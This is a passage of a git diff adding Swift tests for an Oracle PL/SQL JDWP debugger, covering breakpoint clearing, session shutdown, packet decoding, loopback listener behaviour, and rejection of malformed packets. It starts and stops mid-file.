+        #expect(clears(peer).isEmpty)
+        try await session.removeBreakpoint(in: Self.calcBody, line: 5)
+        #expect(clears(peer) == [clear(vm.request(atLine: 5))])
+        #expect(await session.stop() == .ended)
+    }
+
+    // A Clear the VM refuses leaves the breakpoint set, so removing it again sends another Clear.
+    @Test func testARefusedClearCanBeRetried() async throws {
+        let vm = VM(lines: [3, 5, 6], isLoaded: true)
+        let (session, peer) = try await makeSession(vm)
+        try await session.start(breakpoints: [])
+        #expect(try await session.setBreakpoint(in: Self.calcBody, line: 5) == 5)
+        vm.refuseNextClear()
+
+        await #expect(throws: (any Error).self) { try await session.removeBreakpoint(in: Self.calcBody, line: 5) }
+        try await session.removeBreakpoint(in: Self.calcBody, line: 5)
+        #expect(clears(peer) == [clear(vm.request(atLine: 5)), clear(vm.request(atLine: 5))])
+        #expect(await session.stop() == .ended)
+    }
+
+    // A breakpoint set after start answers the line it landed on, which is the line the host removes it by.
+    @Test func testABreakpointSetLaterIsRemovedByTheLineItAnswered() async throws {
+        let vm = VM(lines: [3, 5, 6], isLoaded: true)
+        let (session, peer) = try await makeSession(vm)
+        try await session.start(breakpoints: [])
+        #expect(try await session.setBreakpoint(in: Self.calcBody, line: 4) == 5)
+
+        try await session.removeBreakpoint(in: Self.calcBody, line: 5)
+        #expect(clears(peer) == [clear(vm.request(atLine: 5))])
+        #expect(await session.stop() == .ended)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift
new file mode 100644
index 0000000000..4ed872db86
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConcludeTests.swift
@@ -0,0 +1,134 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPConcludeTests {
+    // The routine sits in DBMS_SESSION.SLEEP, which never returns to PL/SQL to see the socket close. Its call holds
+    // the target's gate, so a ROLLBACK there would wait for the sleep: the step ends unconfirmed instead.
+    @Test func testASocketThatClosesDuringALongCallEndsTheRunUnconfirmed() async throws {
+        let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+        let identity = OracleDebugSessionIdentity(sid: 42, serial: 7)
+        let invocation = "BEGIN PROBE.PKG_CALC.RUN; END;"
+        let sleeping = Latch()
+        defer { sleeping.open() }
+        let (calls, call) = AsyncStream.makeStream(of: Void.self)
+        let target = ScriptedChannel { sql in
+            guard sql == invocation else { return [] }
+            call.yield()
+            await sleeping.wait()
+            return []
+        }
+        let peer = RespondingPeer { sent in
+            if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes {
+                return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply))
+            }
+            return ([], 0, Data())
+        }
+        let connection = OracleJDWPConnection(transport: peer, replyTimeout: .seconds(5))
+        try await connection.handshake()
+        let session = OracleJDWPDebugSession(
+            connection: connection,
+            target: target,
+            helper: ScriptedChannel(),
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: invocation, binds: []),
+            connectCall: Task { .success([]) },
+            targetIdentity: identity,
+            callEndWait: .milliseconds(200),
+            notices: []
+        )
+        try await session.start(breakpoints: [])
+
+        let firstStop = Task { await finished(within: 5) { try await session.firstStop() } }
+        var started = calls.makeAsyncIterator()
+        _ = await started.next()
+        peer.close()
+
+        #expect(await firstStop.value == .failed(.stillRunning(identity)))
+        #expect(!target.sent.contains("ROLLBACK"))
+    }
+
+    // Stop closes the socket, and the routine's call fails with it. ORA-30687 is the server ending the session; a
+    // failed transport (the target's own connection dropped too) ends the call only on this side, so the target is
+    // killed through the helper and the end stays unconfirmed.
+    @Test(arguments: [
+        (OracleCoreError.connectionClosed, false),
+        (OracleCoreError.queryFailed("ORA-30687: session terminated by debugger"), true)
+    ])
+    func testStopConfirmsTheEndOnlyFromTheServersAnswer(endedWith: OracleCoreError, serverAnswered: Bool) async throws {
+        let calcBody = OracleDebugUnit(owner: "PROBE", name: "PKG_CALC", kind: .packageBody)
+        let identity = OracleDebugSessionIdentity(sid: 42, serial: 7)
+        let invocation = "BEGIN PROBE.PKG_CALC.RUN; END;"
+        let socketClosed = Latch()
+        defer { socketClosed.open() }
+        let (calls, call) = AsyncStream.makeStream(of: Void.self)
+        let target = ScriptedChannel { sql in
+            guard sql == invocation else { return [] }
+            call.yield()
+            await socketClosed.wait()
+            throw endedWith
+        }
+        let helper = ScriptedChannel()
+        let peer = RespondingPeer { sent in
+            if sent.commandSet == OracleJDWPCommand.virtualMachine, sent.command == OracleJDWPCommand.idSizes {
+                return ([OracleJDWPRecording.vmStartEvent], 0, replyBody(OracleJDWPRecording.idSizesReply))
+            }
+            return ([], 0, Data())
+        }
+        let connection = OracleJDWPConnection(transport: ClosingPeer(peer: peer) { socketClosed.open() }, replyTimeout: .seconds(5))
+        try await connection.handshake()
+        let session = OracleJDWPDebugSession(
+            connection: connection,
+            target: target,
+            helper: helper,
+            entryPoint: OracleDebugEntryPoint(
+                entry: OracleDebugEntry(unit: calcBody, subprogram: "RUN", subprogramID: 3),
+                overload: nil,
+                parameters: [],
+                result: nil
+            ),
+            invocation: OracleDebugStatements.Invocation(block: invocation, binds: []),
+            connectCall: Task { .success([]) },
+            targetIdentity: identity,
+            notices: []
+        )
+        try await session.start(breakpoints: [])
+
+        let firstStop = Task { await finished(within: 5) { try await session.firstStop() } }
+        var started = calls.makeAsyncIterator()
+        _ = await started.next()
+
+        #expect(await session.stop() == (serverAnswered ? .ended : .unconfirmed(identity)))
+        #expect(helper.sent.contains(where: { $0.hasPrefix("ALTER SYSTEM KILL SESSION '42,7'") }) == !serverAnswered)
+        #expect(await firstStop.value == (serverAnswered ? .failed(.stopped) : .failed(.stillRunning(identity))))
+    }
+}
+
+// Tells the test when this side closes the socket, which is when the database sees the debugger go.
+private final class ClosingPeer: OracleJDWPTransport {
+    private let peer: RespondingPeer
+    private let onClose: @Sendable () -> Void
+
+    init(peer: RespondingPeer, onClose: @escaping @Sendable () -> Void) {
+        self.peer = peer
+        self.onClose = onClose
+    }
+
+    func send(_ data: Data) async throws {
+        try await peer.send(data)
+    }
+
+    func receive() async throws -> Data? {
+        try await peer.receive()
+    }
+
+    func close() {
+        peer.close()
+        onClose()
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift
new file mode 100644
index 0000000000..6630164e44
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPConnectionTests.swift
@@ -0,0 +1,133 @@
+import Foundation
+import os
+@testable import TableProOracleCore
+import Testing
+
+// Plays the database's side of the recorded conversation: each command this side sends is answered with the bytes the
+// database sent at that point, the reply renumbered to the command's id.
+private final class ReplayTransport: OracleJDWPTransport, @unchecked Sendable {
+    private struct State {
+        var inbound: [Data] = []
+        var waiter: CheckedContinuation<Data?, Never>?
+        var sent: [Data] = []
+        var closed = false
+    }
+
+    private let answers: [UInt8: [Data]]
+    private let state = OSAllocatedUnfairLock(initialState: State())
+
+    init(greeting: Data, answers: [UInt8: [Data]]) {
+        self.answers = answers
+        deliver(greeting)
+    }
+
+    var sent: [Data] { state.withLock { $0.sent } }
+
+    func send(_ data: Data) async throws {
+        state.withLock { $0.sent.append(data) }
+        guard data.count >= 11 else { return }
+        let id = data.prefix(8).suffix(4)
+        let command = data[data.startIndex + 10]
+        for answer in answers[command] ?? [] {
+            var packet = answer
+            if packet[packet.startIndex + 8] & 0x80 != 0 {
+                packet.replaceSubrange(packet.startIndex + 4..<packet.startIndex + 8, with: id)
+            }
+            deliver(packet)
+        }
+    }
+
+    private func deliver(_ data: Data) {
+        let waiter = state.withLock { current -> CheckedContinuation<Data?, Never>? in
+            if let waiter = current.waiter {
+                current.waiter = nil
+                return waiter
+            }
+            current.inbound.append(data)
+            return nil
+        }
+        waiter?.resume(returning: data)
+    }
+
+    func receive() async throws -> Data? {
+        await withCheckedContinuation { continuation in
+            let ready = state.withLock { current -> Data?? in
+                if !current.inbound.isEmpty { return .some(current.inbound.removeFirst()) }
+                if current.closed { return .some(nil) }
+                current.waiter = continuation
+                return nil
+            }
+            if let ready { continuation.resume(returning: ready) }
+        }
+    }
+
+    func close() {
+        let waiter = state.withLock { current -> CheckedContinuation<Data?, Never>? in
+            current.closed = true
+            defer { current.waiter = nil }
+            return current.waiter
+        }
+        waiter?.resume(returning: nil)
+    }
+}
+
+struct OracleJDWPConnectionTests {
+    @Test func testRecordedHandshakeRepliesAndEventsReachTheirCallers() async throws {
+        let transport = ReplayTransport(
+            greeting: OracleJDWPPacket.handshake,
+            answers: [
+                OracleJDWPCommand.idSizes: [OracleJDWPRecording.vmStartEvent, OracleJDWPRecording.idSizesReply],
+                OracleJDWPCommand.methods: [OracleJDWPRecording.methodsReply]
+            ]
+        )
+        let connection = OracleJDWPConnection(transport: transport)
+        try await connection.handshake()
+
+        let sizesReply = try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.idSizes)
+        var reader = OracleJDWPReader(sizesReply, sizes: .oracle)
+        #expect(try reader.i32() == 4)
+
+        var commands = connection.commands.makeAsyncIterator()
+        let event = try #require(await commands.next())
+        guard case let .command(_, 64, 100, body) = event else {
+            Issue.record("expected the composite event")
+            return
+        }
+        #expect(try OracleJDWPEventSet.decode(body, sizes: .oracle).events == [.vmStart(thread: 1)])
+
+        var writer = OracleJDWPWriter(sizes: .oracle)
+        writer.id(2, .referenceType)
+        let methods = try OracleJDWPMethod.decodeList(
+            try await connection.send(OracleJDWPCommand.referenceType, OracleJDWPCommand.methods, writer.data),
+            sizes: .oracle
+        )
+        #expect(methods.map(\.name) == ["<clinit>", "ADD_TAX", "RUN", "ADD_TAX"])
+        #expect(transport.sent.first == OracleJDWPPacket.handshake)
+
+        await connection.close()
+        await #expect(throws: OracleJDWPError.closed) {
+            try await connection.send(OracleJDWPCommand.virtualMachine, OracleJDWPCommand.resume)
+        }
+    }
+
+    @Test func testAPeerThatAnswersSomethingElseFailsTheHandshake() async {
+        let transport = ReplayTransport(greeting: Data("HTTP/1.1 400 Ba".utf8), answers: [:])
+        let connection = OracleJDWPConnection(transport: transport)
+        await #expect(throws: OracleJDWPError.handshakeFailed) {
+            try await connection.handshake()
+        }
+    }
+
+    @Test func testAReplyErrorCodeComesBackAsAnError() async throws {
+        let failing = OracleJDWPPacket.reply(id: 0, errorCode: 35, data: Data()).encoded
+        let transport = ReplayTransport(
+            greeting: OracleJDWPPacket.handshake,
+            answers: [OracleJDWPCommand.frameValues: [failing]]
+        )
+        let connection = OracleJDWPConnection(transport: transport)
+        try await connection.handshake()
+        await #expect(throws: OracleJDWPError.reply(code: 35)) {
+            try await connection.send(OracleJDWPCommand.stackFrame, OracleJDWPCommand.frameValues)
+        }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift
new file mode 100644
index 0000000000..23faedc0f0
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPDebugInfoTests.swift
@@ -0,0 +1,89 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPDebugInfoTests {
+    private let sizes = OracleJDWPIDSizes.oracle
+
+    private func body(_ packet: Data) throws -> Data {
+        let decoded = try #require(try OracleJDWPPacket.decode(from: packet))
+        guard case let .reply(_, _, data) = decoded.packet else { throw OracleJDWPError.malformedPacket }
+        return data
+    }
+
+    @Test func testRecordedMethodsListOverloadsWithTheirSignatures() throws {
+        let methods = try OracleJDWPMethod.decodeList(try body(OracleJDWPRecording.methodsReply), sizes: sizes)
+        #expect(methods.map(\.name) == ["<clinit>", "ADD_TAX", "RUN", "ADD_TAX"])
+        #expect(methods.map(\.id) == [3, 4, 5, 6])
+        #expect(methods[1].argumentTypeNames == ["NUMBER"])
+        #expect(methods[3].argumentTypeNames == ["NUMBER", "NUMBER"])
+        #expect(!methods[0].isSubprogram)
+        #expect(methods[2].isSubprogram)
+    }
+
+    // ADD_TAX's table from the live run: lines 3, 5, 6, 7, 8, code index equal to the line.
+    @Test func testRecordedLineTableMapsLinesAndIndexes() throws {
+        let table = try OracleJDWPLineTable.decode(try body(OracleJDWPRecording.lineTableReply), sizes: sizes)
+        #expect(table.start == 3)
+        #expect(table.end == 8)
+        #expect(table.lines == [3, 5, 6, 7, 8])
+        #expect(table.line(at: 6) == 6)
+        #expect(table.location(atOrAfter: 4)?.line == 5)
+        #expect(table.location(atOrAfter: 6)?.index == 6)
+        #expect(table.location(atOrAfter: 9) == nil)
+        #expect(table.covers(line: 4))
+        #expect(!table.covers(line: 9))
+    }
+
+    @Test func testAUnitWithoutDebugInformationHasEmptyLineTables() {
+        let table = OracleJDWPLineTable(start: 0, end: 0, entries: [])
+        #expect(table.isEmpty)
+        #expect(table.location(atOrAfter: 1) == nil)
+        #expect(!OracleJDWPMethod(id: 1, name: "<procedure$0>", signature: "()V").isSubprogram)
+    }
+
+    // RUN's table: I is declared by the loop at line 13 and lives three lines.
+    @Test func testVariableScopeFollowsTheTable() throws {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.i32(1)
+        writer.i32(3)
+        for (index, name, signature, length, slot) in [
+            (Int64(9), "P_N", "L$Oracle/Builtin/PLS_INTEGER;", Int32(9), Int32(0)),
+            (9, "_return", "L$Oracle/Builtin/NUMBER;", 1, 1),
+            (13, "I", "L$Oracle/Builtin/PLS_INTEGER;", 3, 2)
+        ] {
+            writer.i64(index)
+            writer.string(name)
+            writer.string(signature)
+            writer.i32(length)
+            writer.i32(slot)
+        }
+        let variables = try OracleJDWPVariable.decodeTable(writer.data, sizes: sizes)
+        #expect(variables.map(\.isArgument) == [true, false, false])
+        #expect(variables.map(\.isUserVariable) == [true, false, true])
+        #expect(!variables[2].isVisible(at: 9))
+        #expect(variables[2].isVisible(at: 14))
+        #expect(!variables[2].isVisible(at: 16))
+        #expect(variables[0].isVisible(at: 17))
+    }
+
+    @Test func testValueShapesFollowTheWrapperFields() {
+        let number = [
+            OracleJDWPField(id: 1, name: "_value", signature: "Ljava/lang/String;", modifiers: 1),
+            OracleJDWPField(id: 2, name: "_canBeNull", signature: "Z", modifiers: 1)
+        ]
+        #expect(OracleDebugValueShape(fields: number) == .scalar(valueField: 1))
+        let record = [
+            OracleJDWPField(id: 3, name: "A", signature: "L$Oracle/Builtin/NUMBER;", modifiers: 1),
+            OracleJDWPField(id: 4, name: "B", signature: "L$Oracle/Builtin/VARCHAR2;", modifiers: 1),
+            OracleJDWPField(id: 5, name: "_type", signature: "Ljava/lang/String;", modifiers: 1)
+        ]
+        #expect(OracleDebugValueShape(fields: record) == .record(members: Array(record.prefix(2))))
+        let collection = [
+            OracleJDWPField(id: 7, name: "_values", signature: "[L$Oracle/Function/PROBE/F_CALC/F_CALC/T_NUMS$element;", modifiers: 17),
+            OracleJDWPField(id: 10, name: "_type", signature: "Ljava/lang/String;", modifiers: 25)
+        ]
+        #expect(OracleDebugValueShape(fields: collection) == .collection(valuesField: 7))
+        #expect(OracleDebugValueShape(fields: []) == .opaque)
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift
new file mode 100644
index 0000000000..652d246fea
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPHostileInputTests.swift
@@ -0,0 +1,146 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+// Anything that connects to the listener, or a compromised server, chooses these bytes. Each malformed input must be a
+// thrown error that ends the session, never a trap or an allocation sized by the peer.
+struct OracleJDWPHostileInputTests {
+    private let sizes = OracleJDWPIDSizes.oracle
+
+    private func compositeBody(policy: UInt8 = 2, count: Int32, rest: Data = Data()) -> Data {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.u8(policy)
+        writer.i32(count)
+        return writer.data + rest
+    }
+
+    @Test func testANegativeEventCountThrows() {
+        #expect(throws: OracleJDWPError.malformedPacket) {
+            try OracleJDWPEventSet.decode(compositeBody(count: -1), sizes: sizes)
+        }
+    }
+
+    @Test func testAnEventCountTheBytesCannotHoldThrows() {
+        #expect(throws: OracleJDWPError.malformedPacket) {
+            try OracleJDWPEventSet.decode(compositeBody(count: Int32.max), sizes: sizes)
+        }
+        // Two events claimed, one event's bytes sent.
+        var event = OracleJDWPWriter(sizes: sizes)
+        event.u8(OracleJDWPEventKind.vmStart.rawValue)
+        event.i32(0)
+        event.id(1, .object)
+        #expect(throws: OracleJDWPError.self) {
+            try OracleJDWPEventSet.decode(compositeBody(count: 2, rest: event.data), sizes: sizes)
+        }
+    }
+
+    @Test func testListCountsAreBoundedByTheBytesLeft() {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.i32(Int32.max)
+        #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPMethod.decodeList(writer.data, sizes: sizes) }
+        #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPField.decodeList(writer.data, sizes: sizes) }
+        var lines = OracleJDWPWriter(sizes: sizes)
+        lines.i64(1)
+        lines.i64(2)
+        lines.i32(-5)
+        #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPLineTable.decode(lines.data, sizes: sizes) }
+        var reader = OracleJDWPReader(Data([0xFF, 0xFF, 0xFF, 0xFF]), sizes: sizes)
+        #expect(throws: OracleJDWPError.malformedPacket) { try reader.count(minimumSize: 1) }
+    }
+
+    @Test func testAVariableWhoseScopeOverflowsThrows() {
+        var writer = OracleJDWPWriter(sizes: sizes)
+        writer.i32(0)
+        writer.i32(1)
+        writer.i64(Int64.max)
+        writer.string("X")
+        writer.string("L$Oracle/Builtin/NUMBER;")
+        writer.i32(5)
+        writer.i32(0)
+        #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPVariable.decodeTable(writer.data, sizes: sizes) }
+    }
+
+    @Test func testScopeArithmeticNeverTraps() {
+        let variable = OracleJDWPVariable(codeIndex: Int64.max - 1, name: "X", signature: "", length: Int.max, slot: 0, isArgument: false)
+        #expect(variable.isVisible(at: Int64.max))
+        #expect(!variable.isVisible(at: 0))
+    }
+
+    @Test func testIDSizesOutsideOneToEightAreRejected() {
+        #expect(throws: OracleJDWPError.malformedPacket) {
+            try OracleJDWPIDSizes.validated(field: 4, method: 4, object: 0x7FFF_FFFF, referenceType: 4, frame: 8)
+        }
+        #expect(throws: OracleJDWPError.malformedPacket) {
+            try OracleJDWPIDSizes.validated(field: 0, method: 4, object: 4, referenceType: 4, frame: 8)
+        }
+        #expect(throws: OracleJDWPError.malformedPacket) {
+            try OracleJDWPIDSizes.validated(field: 4, method: 4, object: 4, referenceType: 4, frame: -8)
+        }
+        #expect((try? OracleJDWPIDSizes.validated(field: 4, method: 4, object: 4, referenceType: 4, frame: 8)) == .oracle)
+    }
+
+    @Test func testAFrameLongerThanTheCapThrowsBeforeItIsBuffered() {
+        var header = Data()
+        withUnsafeBytes(of: UInt32(OracleJDWPPacket.maximumLength + 1).bigEndian) { header.append(contentsOf: $0) }
+        header.append(contentsOf: [0, 0, 0, 1, 0, 64, 100])
+        var buffer = OracleJDWPFrameBuffer()
+        buffer.append(header)
+        #expect(throws: OracleJDWPError.malformedPacket) { try buffer.nextPacket() }
+        var short = Data([0, 0, 0, 5, 0, 0, 0, 1, 0, 1, 1])
+        short.append(0)
+        #expect(throws: OracleJDWPError.malformedPacket) { try OracleJDWPPacket.decode(from: short) }
+    }
+
+    @Test func testAnIDWiderThanEightBytesIsNeverRead() {
+        let wide = OracleJDWPIDSizes(field: 4, method: 4, object: 9, referenceType: 4, frame: 8)
+        var reader = OracleJDWPReader(Data(repeating: 0, count: 16), sizes: wide)
+        #expect(throws: OracleJDWPError.malformedPacket) { try reader.id(.object) }
+        var writer = OracleJDWPWriter(sizes: OracleJDWPIDSizes(field: 4, method: 4, object: 0x7FFF_FFFF, referenceType: 4, frame: 8))
+        writer.id(1, .object)
+        #expect(writer.data.count == 8)
+    }
+
+    // A malformed frame closes the connection, which is what ends the target, instead of leaving it suspended.
+    @Test func testAMalformedFrameClosesTheConnection() async throws {
+        let transport = ScriptedTransport(chunks: [OracleJDWPPacket.handshake, Data([0xFF, 0xFF, 0xFF, 0xFF, 0, 0, 0, 1, 0, 64, 100])])
+        let connection = OracleJDWPConnection(transport: transport)
+        try await connection.handshake()
+        var commands = connection.commands.makeAsyncIterator()
+        #expect(await commands.next() == nil)
+        #expect(await connection.closed)
+        #expect(transport.isClosed)
+    }
+
+    @Test func testPayloadLengthsCannotOverflow() {
+        #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("99999999999999999999:x") }
+        #expect(throws: OracleDebugPayload.ParseError.self) { try OracleDebugPayload.parse("999999999:x") }
+    }
+
+    @Test func testALineMapClaimingHugeLinesReadsOnlyItsBytes() {
+        #expect(OracleDBMSDebugStatements.executableLines(hexMap: "FE", maxLine: Int.max) == [1, 2, 3, 4, 5, 6, 7])
+        #expect(OracleDBMSDebugStatements.executableLines(hexMap: "", maxLine: 500).isEmpty)
+        #expect(OracleDBMSDebugStatements.executableLines(hexMap: "FF", maxLine: -3).isEmpty)
+    }
+}
+
+private final class ScriptedTransport: OracleJDWPTransport, @unchecked Sendable {
+    private let lock = NSLock()
+    private var chunks: [Data]
+    private var closed = false
+
+    init(chunks: [Data]) {
+        self.chunks = chunks
+    }
+
+    var isClosed: Bool { lock.withLock { closed } }
+
+    func send(_ data: Data) async throws {}
+
+    func receive() async throws -> Data? {
+        lock.withLock { chunks.isEmpty ? nil : chunks.removeFirst() }
+    }
+
+    func close() {
+        lock.withLock { closed = true }
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift
new file mode 100644
index 0000000000..618984b753
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPListenerTests.swift
@@ -0,0 +1,85 @@
+import Foundation
+import Network
+@testable import TableProOracleCore
+import Testing
+
+// The listener runs on loopback here: the same code a database server reaches over the network.
+struct OracleJDWPListenerTests {
+    private let ports: ClosedRange<UInt16> = 47_100...47_199
+
+    private func dial(_ port: UInt16, sending payload: Data?) -> NWConnection {
+        let connection = NWConnection(
+            host: "127.0.0.1",
+            port: NWEndpoint.Port(rawValue: port) ?? .any,
+            using: .tcp
+        )
+        connection.stateUpdateHandler = { state in
+            if case .ready = state, let payload {
+                connection.send(content: payload, completion: .idempotent)
+            }
+        }
+        connection.start(queue: .global())
+        return connection
+    }
+
+    @Test func testAPeerFromTheDatabasesAddressIsAccepted() async throws {
+        let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"])
+        let peer = dial(listener.port, sending: OracleJDWPPacket.handshake)
+        defer { peer.cancel() }
+        let connection = try await listener.accept(timeout: .seconds(5))
+        await connection.close()
+    }
+
+    // A strict address check refuses a peer the database host does not resolve to, and names it for the person.
+    @Test func testAPeerFromAnotherAddressIsClosedAndNamed() async throws {
+        let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["10.9.8.7"])
+        let peer = dial(listener.port, sending: OracleJDWPPacket.handshake)
+        defer { peer.cancel() }
+        await #expect(throws: OracleJDWPListenerError.timedOut(rejected: ["127.0.0.1"])) {
+            try await listener.accept(timeout: .seconds(1))
+        }
+    }
+
+    // A connection that never sends the handshake is dropped after two seconds, and the real one still gets in.
+    @Test func testASilentPeerDoesNotHoldTheListener() async throws {
+        let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"])
+        let silent = dial(listener.port, sending: nil)
+        defer { silent.cancel() }
+        let real = dial(listener.port, sending: OracleJDWPPacket.handshake)
+        defer { real.cancel() }
+        let started = ContinuousClock.now
+        let connection = try await listener.accept(timeout: .seconds(5))
+        #expect(ContinuousClock.now - started < .seconds(2))
+        await connection.close()
+    }
+
+    @Test func testCancellingTheWaitEndsIt() async throws {
+        let listener = try await OracleJDWPListener.open(ports: ports, bindAddresses: ["127.0.0.1"], allowedPeers: ["127.0.0.1"])
+        let started = ContinuousClock.now
+        let waiting = Task { try await listener.accept(timeout: .seconds(30)) }
+        waiting.cancel()
+        await #expect(throws: CancellationError.self) { try await waiting.value }
+        #expect(ContinuousClock.now - started < .seconds(5))
+    }
+
+    // `localhost` resolves to ::1 first on macOS, but Docker Desktop delivers a container's connection on 127.0.0.1.
+    @Test func testALoopbackRouteBinds127() async {
+        #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "localhost", databaseHost: "localhost", databasePort: 1_521)
+            == ["127.0.0.1"])
+        #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "name.invalid", databaseHost: "localhost", databasePort: 1_521)
+            == ["127.0.0.1"])
+        #expect(await OracleDebugNetwork.bindAddresses(debuggerHost: "::1", databaseHost: "localhost", databasePort: 1_521)
+            == ["::1"])
+        #expect(OracleDebugNetwork.isLoopback("::1"))
+        #expect(OracleDebugNetwork.isLoopback("127.0.0.1"))
+        #expect(!OracleDebugNetwork.isLoopback("192.168.1.20"))
+    }
+
+    @Test func testAddressesCompareInOneSpelling() {
+        #expect(OracleDebugNetwork.normalized("::FFFF:127.0.0.1") == "127.0.0.1")
+        #expect(OracleDebugNetwork.normalized("fe80::1%en0") == "fe80::1")
+        #expect(OracleDebugNetwork.normalized("[::1]") == "::1")
+        #expect(OracleDebugNetwork.resolve("127.0.0.1") == ["127.0.0.1"])
+        #expect(OracleDebugNetwork.localInterfaceAddresses().contains("127.0.0.1"))
+    }
+}
diff --git a/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift
new file mode 100644
index 0000000000..c515a88b56
--- /dev/null
+++ b/apple/Packages/TableProOracle/Tests/TableProOracleCoreTests/OracleJDWPPacketTests.swift
@@ -0,0 +1,122 @@
+import Foundation
+@testable import TableProOracleCore
+import Testing
+
+struct OracleJDWPPacketTests {
+    private let sizes = OracleJDWPIDSizes.oracle
+
+    @Test func testIDSizesCommandEncodesAsRecorded() {
+        let packet = OracleJDWPPacket.command(id: 1, commandSet: 1, command: 7, data: Data())
+        #expect(packet.encoded == OracleJDWPRecording.bytes("0000000b00000001000107"))
+        #expect(packet.encoded == OracleJDWPRecording.idSizesCommand)
+    }
+
+    @Test func testReplyAndCommandRoundTrip() throws {
+        let reply = OracleJDWPPacket.reply(id: 7, errorCode: 35, data: Data([1, 2, 3]))
+        let command = OracleJDWPPacket.command(id: 9, commandSet: 64, command: 100, data: Data([4]))
+        for packet in [reply, command] {
+            let decoded = try #require(try OracleJDWPPacket.decode(from: packet.encoded))
+            #expect(decoded.packet == packet)
+            #expect(decoded.length == packet.encoded.count)
+        }
+    }
+
+    @Test func testIDSizesReplyDecodesOraclesSizes() throws {
+        let decoded = try #require(try OracleJDWPPacket.decode(from: OracleJDWPRecording.idSizesReply))
+        guard case let .reply(id, errorCode, data) = decoded.packet else {
+            Issue.record("expected a reply")
+            return
+        }
+        #expect(id == 1)
+        #expect(errorCode == 0)
+        var reader = OracleJDWPReader(data, sizes: sizes)
+        let read = try (0..<5).map { _ in try reader.i32() }
+        #expect(read == [4, 4, 4, 4, 8])
+    }
+
+    @Test func testAPartialPacketWaitsForTheRest() throws {
+        var buffer = OracleJDWPFrameBuffer()
+        let whole = OracleJDWPRecording.vmStartEvent + OracleJDWPRecording.idSizesReply
+        buffer.append(whole.prefix(20))
+        #expect(try buffer.nextPacket() == nil)
+        buffer.append(whole.dropFirst(20))
+        let first = try #require(try buffer.nextPacket())
+        let second = try #require(try buffer.nextPacket())
+        #expect(try buffer.nextPacket() == nil)
+        guard case .command(_, 64, 100, _) = first, case .reply(1, 0, _) = second else {
+            Issue.record("expected the event, then the reply")
+            return
+        }
+    }
+
+    // Oracle sends VM_START before it answers IDSizes, with a 4-byte thread id.
+    @Test func testRecordedEventsDecode() throws {
+        func events(_ data: Data) throws -> [OracleJDWPEvent] {
+            let decoded = try #require(try OracleJDWPPacket.decode(from: data))
+            guard case let .command(_, 64, 100, body) = decoded.packet else { return [] }
+            return try OracleJDWPEventSet.decode(body, sizes: sizes).events
+        }
+        #expect(try events(OracleJDWPRecording.vmStartEvent) == [.vmStart(thread: 1)])
+        #expect(try events(OracleJDWPRecording.classPrepareEvent) == [
+            .classPrepare(requestID: 1, thread: 1, typeID: 2, signature: "L$Oracle/PackageBody/PROBE/PKG_CALC;")
+        ])
+        #expect(try events(OracleJDWPRecording.breakpointEvent) == [
+            .breakpoint(requestID: 2, thread: 1, location: OracleJDWPLocation(classID: 2, methodID: 4, index: 6))
+        ])
+    }
+
+    @Test func testRequestsEncodeAsRecorded() {
+        let classPrepare = OracleJDWPRequest.classPrepare(matching: "$Oracle/PackageBody/PROBE/PKG_CALC", sizes: sizes)
